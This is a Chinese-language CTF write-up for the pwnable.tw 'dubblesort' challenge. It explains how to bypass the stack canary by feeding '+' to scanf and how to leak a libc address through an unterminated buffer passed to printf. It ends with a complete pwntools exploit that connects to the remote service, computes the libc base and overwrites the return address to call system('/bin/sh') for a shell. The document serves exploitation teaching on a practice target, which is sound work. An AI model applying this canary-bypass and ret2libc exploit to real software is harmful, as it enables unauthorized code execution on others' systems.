pwnable.tw上的一道题, 挺综合的, 写一下writeup.
题目
先拿ida看一下.
checksec一下, 这道题开了所有的保护.
这道题目给出了libc, 就不用自己找Libc了.
开始的时候有一个对buf的读入.
看一下buf在栈空间中的位置.
read函数读入0x40字节, 是不能改到返回地址的.
继续往下看, 有个对v10数组的读入.
看一下cannary和v10在栈中的位置.
cannary 绕过
v10的位置在ebp - 0x70.
那么这个scanf是可以改返回地址的.
但是正常输入的话会改cannary, 这样就会被检测出来.
这里有一个scanf的小技巧, 输入’+’/‘-‘的时候会调过这个输入, 其他的不影响.
这样就可以绕过cannary保护..
漏洞利用
要利用题目给出的libc的话需要首先泄露出来libc的地址.
这里注意的是read读入buf之后并没有自动在我们输入的字符串末尾补’\x00’, 那么这时候printf(buf)并不会把buf输出就停止, 而可能会输出buf后面栈上的内容.
看一下栈上的内容.
发现存在一个地址, 看起来像是libc里面的地址, vmmap看一下发现的确是libc里面的地址.
那么我们只要把这个地址泄露出来就能得到libcbase, 但是这里存在一个问题, 本机的libc和远端的libc是不同的, libc的偏移也要用远端的libc文件来算.
用readelf -S命令可以查看对应的偏移量.
看一下本机对应的段, 再找一下远端libc对应的段, 就可以找到对应得偏移.
exp如下.
补充一点, cannary的保护检测的是$esp + 0x7c地址的内容, 而不是ebp + 0x101
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45from pwn import *
# context.log_level = 'debug'
# sh = process('./dubblesort')
sh = remote('chall.pwnable.tw', 10101)
Libc = ELF('./libc.so.6')
# gdb.attach(sh)
sh.recvuntil('What your name :')
payload = 'a' * 24
sh.sendline(payload)
sh.recvuntil('a' * 24 + '\n')
libcbase = u32('\x00' + sh.recv()[0:3]) - 0x1b0000
log.success('libcbase: ' + hex(libcbase))
Number = 35
# sh.recvuntil('How many numbers do you what to sort :')
sh.sendline(str(Number))
for i in range(0, 0x60 / 4):
sh.sendline('0')
sh.sendline('+')
system_addr = libcbase + Libc.symbols['system']
bin_sh_addr = libcbase + Libc.search('/bin/sh\x00').next()
log.success('system_addr: ' + hex(system_addr))
log.success('bin_sh_addr: ' + hex(bin_sh_addr))
mn = min(system_addr, bin_sh_addr) - 1
for i in range(0, 7):
sh.sendline(str(mn))
sh.sendline(str(system_addr))
sh.sendline(str(system_addr))
sh.sendline(str(bin_sh_addr))
sh.interactive()
# 0x5661db2